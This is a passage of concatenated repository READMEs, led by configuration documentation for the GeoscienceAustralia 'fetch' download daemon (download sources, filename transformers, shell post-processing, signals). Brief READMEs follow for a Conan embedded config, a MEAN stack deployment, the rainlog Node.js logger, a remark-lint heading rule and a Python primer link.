          target_dir: /eoancillarydata/sensor-specific/LANDSAT8/CalibrationParameterFile

`directory:` specifies the work directory for the daemon lock and log files.

`notify:` allows configuration of error notification.

The third option contains download rules (`rules:`).

- In this case there are two rules specified: one http download of utcpole/leapsec files,
and an RSS feed download of CPF files.

- Rules are prefixed by a name: in the above example they are named `Modis utcpole-leapsec` and
`LS8 CPF`.

- Names are used as an ID for the rule.

- The `source:` property is our download source for the rule. It is tagged with a YAML type (`!rss` or `!http-files` in this example)
to specify the type of downloader.

- Each downloader has properties: Usually the URL to download from, and a target directory to put the files.

- `schedule:` uses standard cron syntax for the download schedule.

### Download sources

Types of downloaders:

#### !http-files

Fetch static HTTP URLs.

This is useful for unchanging URLs that need to be repeatedly updated.

Example:

    source: !http-files
      urls:
      - http://oceandata.sci.gsfc.nasa.gov/Ancillary/LUTs/modis/utcpole.dat
      - http://oceandata.sci.gsfc.nasa.gov/Ancillary/LUTs/modis/leapsec.dat
      target_dir: /eoancillarydata/sensor-specific/MODIS/

All http rules have a `connection_timeout` option, defaulting to 100 (seconds).

#### !ftp-files

Like http-files, but for FTP.

    source: !ftp-files
      hostname: is.sci.gsfc.nasa.gov
      paths:
      - /ancillary/ephemeris/tle/drl.tle
      - /ancillary/ephemeris/tle/norad.tle
      target_dir: /eoancillarydata/sensor-specific/MODIS/tle

#### !http-directory

Fetch files from a HTTP listing page.

A ([regexp](https://docs.python.org/2/howto/regex.html#regex-howto)) pattern can be specified to only download certain filenames.

    source: !http-directory
        url: http://rhe-neo-dev03/ancillary/gdas
        # Download only files beginning with 'gdas'
        name_pattern: gdas.*
        target_dir: '/tmp/gdas-files'

#### !ftp-directory

Like http-directory, but for FTP

    source: !ftp-directory
      hostname: ftp.cdc.noaa.gov
      source_dir: /Datasets/ncep.reanalysis/surface
      # Match filesnames such as "pr_wtr.eatm.2014.nc"
      name_pattern: pr_wtr.eatm.[0-9]{4}.nc
      target_dir: /eoancillarydata/water_vapour/source

#### !rss

Download files from an RSS feed.

    source: !rss
      url: http://landsat.usgs.gov/cpf.rss
      target_dir: /eoancillarydata/sensor-specific/LANDSAT8/CalibrationParameterFile

#### !ecmwf-api

Fetch now allows access to the batch data servers of the European Centre for Medium-term Weather Forecasts. The data archive is accessed via
the [Python ECMWF API](https://software.ecmwf.int/wiki/display/WEBAPI/Accessing+ECMWF+data+servers+in+batch).

The ECMWF API required properties to be specfied as follows:

    source: !ecmwf-api
        cls: ei
        dataset: interim
        date: 2005-01-03/to/2005-01-05
        area: 0/100/-50/160
        expver: 1
        grid: 0.125/0.125
        levtype: sfc
        param: 134.128
        stream: oper
        time: 00:00:00
        step: 0
        typ: an
        target: /home/547/smr547/ecmwf_data/sp_20050103_to_20050105.grib
        override_existing: True

The keys (dataset, date, area, etc) are [MARS keywords](https://software.ecmwf.int/wiki/display/UDOC/MARS+keywords)
 used to specify various aspects of the data retrieval. Please note that the ``class`` and
``type`` keywords have different spelling (``cls`` and ``typ``) to avoid Python compiler name clashes.

Request parameter are complex. ECMWF recommend using the ``View Request Parameters`` feature as you get familiar with
the [avaiable ECMWF data sets](http://apps.ecmwf.int/datasets/). This
will assist you in preparing error-free requests.

The ``!ecmwf-api`` datasource supports [Transformers](#transformers) and the ``override_existing`` option (defaults to ``False``).
``!ecmwf-api`` datasources can also be used with the [!date-range](#!date-range) datasource.

### Transformers

Transformers allow for dynamic folder and file names (both sources and destinations).

Downloaders supporting them have a `filename-transform:` property.

#### !date-pattern

Put the current date/time in the filename.

This takes a [format](https://docs.python.org/2/library/string.html#formatstrings) string with properties 'year', 'month', 'day', 'julday' (Julian day) and 'filename' (the original filename)

Example of an FTP download

    source: !ftp-files
      hostname: is.sci.gsfc.nasa.gov
      paths:
      - /ancillary/ephemeris/tle/noaa/noaa.tle
      target_dir: /eoancillarydata/sensor-specific/NOAA/tle
      # Prepend the current date to the output filename (eg. '20141024.noaa.tle')
      filename_transform: !date-pattern '{year}{month}{day}.{filename}'

#### !regexp-extract

Extract fields from a filename, and use them in the destination directory.

(This requires knowledge of [regular expressions](https://docs.python.org/2/howto/regex.html#regex-howto) including named groups)

Supply a regexp pattern with named groups. Those group names can then be used in the target folder name.

In this example, we have a pattern with three regexp groups: 'year', 'month' and 'day'. We use
year and month in the `target_dir`.

    LS8 BPF:
    schedule: '*/15 * * * *'
    source: !rss
      url: http://landsat.usgs.gov/bpf.rss
      # Extract year and month from filenames using regexp groups
      #    Example filename: 'LT8BPF20141028232827_20141029015842.01'
      filename_transform: !regexp-extract 'L[TO]8BPF(?P<year>[0-9]{4})(?P<month>[0-9]{2})(?P<day>[0-9]{2}).*'
      # Use these group names ('year' and 'month') in the output location:
      target_dir: /eoancillarydata/sensor-specific/LANDSAT8/BiasParameterFile/{year}/{month}

#### !date-range

A `!date-range` is a pseudo-source that repeats a source multiple times over a date range.

It takes a `start_day` number and an `end_day` number. These are relative to the current
day: ie. A start day of -3 means three (UTC) days ago .

It then overrides properties on the embedded source using each date.

Example:

    Modis Att-Ephem:
    schedule: '20 */2 * * *'
    source: !date-range
      start_day: -3
      end_day: 0
      overridden_properties:
        url: http://oceandata.sci.gsfc.nasa.gov/Ancillary/Attitude-Ephemeris/{year}/{julday}
        target_dir: /eoancillarydata/sensor-specific/MODIS/ancillary/{year}/{julday}
      using: !http-directory
        name_pattern: '[AP]M1(ATT|EPH).*'
        # Overridden by the property above
        url: ''
        # Overridden by the property above
        target_dir: ''

This expands to four `!http-directory` downloaders. Three days ago, two days ago, one day ago and today.

The properties in `overridden_properties:` are formatted with the given date and set on each `!http-directory` downloader.

### Post-download file processing

Post-download processing can be done with the `process:` field.

Currently only shell commands are supported, using the `!shell` processor.

For example, use gdal to convert each downloaded file from NetCDF (`*.nc`) to Tiff (`*.tiff`):

    Water vapour:
      schedule: '30 12 * * *'
      source: !ftp-directory
        hostname: ftp.cdc.noaa.gov
        source_dir: /Datasets/ncep.reanalysis/surface
        # Match filenames such as "pr_wtr.eatm.2014.nc"
        name_pattern: pr_wtr.eatm.[0-9]{4}.nc
        target_dir: /data/fetch/eoancil-test/water_vapour/source
      # Convert files to tiff (from netCDF)
     process: !shell
        command: 'gdal_translate -a_srs "+proj=latlong +datum=WGS84" {parent_dir}/{filename} {parent_dir}/{file_stem}.tif'
        expect_file: '{parent_dir}/{file_stem}.tif'

Where:

- `command:` is the shell command to run
- `expect_file:` is the full path to an output file. (To allow fetch daemon to track newly added files)

Both `command:`, the list of files in `input_files:` and `expect_file:` are evaluated with [python string formatting](https://docs.python.org/3/library/string.html#formatstrings),
 supporting the following fields as well as being evaluated with the named groups found in the `input_files:` pattern:

    # Full name of file (eg. 'pr_wtr.eatm.2014.nc')
    {filename}
    # Suffix of filename (eg. '.nc')
    {file_suffix}
    # Filename without suffix (eg. 'pr_wtr.eatm.2014')
    {file_stem}
    # Directory ('/data/fetch/eoancil-test/water_vapour/source')
    {parent_dir}

A more complex example involving sidecar files requiring download but to be treated as a single group when a post-download process is to take place:

    MODIS BRDF:
      schedule: '10/10 * * * *'
      source: !date-range
        # Download from one day ago (-1) to tomorrow (1):
        start_day: -20
        end_day: -10
        overridden_properties:
          url: https://e4ftl01.cr.usgs.gov/MOTA/MCD43A1.006/{year}.{month}.{day}
          target_dir: /tmp/data/BRDF/MCD43A1.006/{year}.{month}.{day}
        using: !http-directory
          url: ''
          target_dir: ''
          name_pattern: 'MCD43A1\.A[0-9]{7}\.h(2[7-9]|3[0-2])v(09|1[0-3])\.006\.[0-9]{13}\.hdf'
          beforehand: !http-auth
            url: https://urs.earthdata.nasa.gov
            username: <username>
            password: <password>
      process: !shell
        command: 'swfo-convert mcd43a1 h5-md --fname {brdf_base}/{collection}/{ymd}/{basename}{hdf_ext} --outdir /tmp/data/conversion/BRDF/{collection}/{ymd}/ --filter-opts ''{{"aggression": 6}}'' --compression BLOSC_ZSTANDARD'
        input_files: ['^(?P<brdf_base>.*BRDF)/(?P<collection>.*)/(?P<ymd>[0-9]{4}\.[0-9]{2}\.[0-9]{2})/(?P<basename>.*)(?P<hdf_ext>.hdf)(?P<xml_ext>.xml)?', ['{brdf_base}/{collection}/{ymd}/{basename}{hdf_ext}', '{brdf_base}/{collection}/{ymd}/{basename}{hdf_ext}.xml']]
        expect_file: '/tmp/data/conversion/BRDF/{collection}/{ymd}/{basename}.h5'

Where:

- `command:` is the shell command to run
- `input_files:` contains a regex pattern, and list of expected files that are to be checked before running the post-process command
- `expect_file:` is the full path to an output file. (To allow fetch daemon to track newly added files)
This is useful when there are sidecar files.
The value format is a list where the first element is a regx pattern.  e.g.  `'^(?P<base>.*hdf)'`
This is applied to the full name of the downloaded file and used to create named groups used in the second element.
The second element is a list of files that must be present before the shell command is executed.

## Signals:

Send a `SIGHUP` signal to reload the config file without interrupting existing downloads:

    kill -1 <pid>

Send a `SIGINT` or `SIGTERM` signal to start a graceful shutdown (any active
downloads will be completed before exiting).

    kill <pid>

repository: GeoscienceAustralia/fetch

branch_name: refs/heads/develop

repo_name: GeoscienceAustralia/fetch


text:
# `conan-config`

Conan configuration files for emedded developement.

## Supported architectures
* ARM Cortex-M0
* ARM Cortex-M0+
* ARM Cortex-M3
* ARM Cortex-M4
* ARM Cortex-M7

## Installation
To apply this configuration to your current environment run:
```
$ conan config install https://github.com/adigie/conan-config.git
```

## License
Content of this repository is licensed under the [MIT License](https://github.com/adigie/conan-config/blob/master/LICENSE).

repository: adigie/conan-config

repo_name: adigie/conan-config


text:
# deploying-mean-stack
MEAN Stack is a combination of following components:

MongoDB (Document database) - Stores and allows to retrieve data.
Express (Back-end application framework) - Makes requests to Database for Reads and Writes.
Angular (Front-end application framework) - Handles Client and Server Requests
Node.js (JavaScript runtime environment) - Accepts requests and displays results to end user

repository: olateekay/deploying-mean-stack

repo_name: olateekay/deploying-mean-stack


text:
# Rainlog Node.js Logger

This versatile logger is an advanced ```console.log``` for your applications. It uses the built in ```util.format``` to make it easy to output strings and objects.

You can also log to file by setting it up in the configuration.

### INSTALL
```npm i rainlog```

### USAGE
By default 2 loggers are included: *info* and *err*. You can add extra loggers as you please.
```javascript
const Rainlog = require('rainlog')
const log = new Rainlog()

// Write to console.log using the 'info' logger
log.info('hello world')

// Write to console.log using the 'error' logger
log.err('hello world')

// Update config for a single logger
log.get.err.set({ file: 'error.txt' })

// Update config for all loggers
log.set({ quiet: true })

// Reset config for a single logger
log.get.info.reset()

// Reset config for all loggers
log.reset()

// Write formatted text
log.info('%s %d %o', 'hello', 2020, { world: 'amazing' })
// Output: hello 2020 { world: 'amazing' }

// Use the $ function to write to file
log.$info('hello')

// Add a logger to the existing log, pass name and config
// The new logger is instantly available as 'log.warn'
log.add('warn', { quiet: true })
log.warn('this logger is on fire')

// Create multiple logs if you want
access = new Rainlog()
access.info('user accessed')
access.err('user not found')
```

### FORMATTING
Here are the formatting options, taken from the [Node.js docs](https://nodejs.org/api/util.html#util_util_format_format_args):
```
%s - String.
%d - Number (integer or floating point value) or BigInt.
%i - Integer or BigInt.
%f - Floating point value.
%j - JSON. Replaced with the string '[Circular]' if the argument contains circular references.
%o - Object. A string representation of an object with generic JavaScript object formatting. Similar to util.inspect() with options { showHidden: true, showProxy: true }. This will show the full object including non-enumerable properties and proxies.
%O - Object. A string representation of an object with generic JavaScript object formatting. Similar to util.inspect() without options. This will show the full object not including non-enumerable properties and proxies.
%% - single percent sign ('%'). This does not consume an argument.
```

### CONFIGURATION
Use the 'set' function to configure your logger. Files are not written to by default.
```javascript
// The default configuration looks like this for all loggers
{
  // When quiet is true there will be no output to console
  quiet: process.env.NODE_ENV === 'production',

  // Set the file option to a file name to also write to file
  file: false,

  // Set colors and modifers, see the 'chalk' module for options
  style: 'green.bold.underline'
}

// Create the Rainlog instance
const log = new Rainlog()

// Optionally pass the config to the constructor
const log = new Rainlog({ quiet: true })

// Use the set function to configure your logger
log.get.info.set({ file: 'info.txt' })
log.get.err.set({ file: 'error.txt' })
```

### LICENSE
MIT Licensed. Enjoy!

repository: eldoy/rainlog

repo_name: eldoy/rainlog


text:
Warn when a heading does not conform to a given style.

Options: `'consistent'`, `'atx'`, `'atx-closed'`, or `'setext'`,
default: `'consistent'`.

`'consistent'` detects the first used heading style and warns when
subsequent headings use different styles.

## Fix

[`remark-stringify`](https://github.com/remarkjs/remark/tree/HEAD/packages/remark-stringify)
formats headings as ATX by default.
This can be configured with the
[`setext`](https://github.com/remarkjs/remark/tree/HEAD/packages/remark-stringify#optionssetext)
and
[`closeAtx`](https://github.com/remarkjs/remark/tree/HEAD/packages/remark-stringify#optionscloseatx)
options.

See [Using remark to fix your Markdown](https://github.com/remarkjs/remark-lint#using-remark-to-fix-your-markdown)
on how to automatically fix warnings for this rule.

repository: codacy/codacy-remark-lint

gha_language: TypeScript

repo_name: codacy/codacy-remark-lint


text:
---
title: "Primer on Python for R Users"
source: "New"
date: "2023-07-14"
categories:
- Recommendation
tags:
- Python programming
output: html_document
---

![Figure 1. Excerpt from webpage](http://www.pmean.com/new-images/23/primer-on-python-01.png)

<div class="notes">

Some of the topics are a bit abstract, but in general, a quite nice description of how Python differs from R.

[Tomasz Kalinowski, Kevin Ushey, JJ Allaire, Yuan Tang][kal1]. Primer on Python for R Users.

[kal1]: https://rstudio.github.io/reticulate/articles/python_primer.html

</div>

repository: pmean/build-website

repo_name: pmean/build-website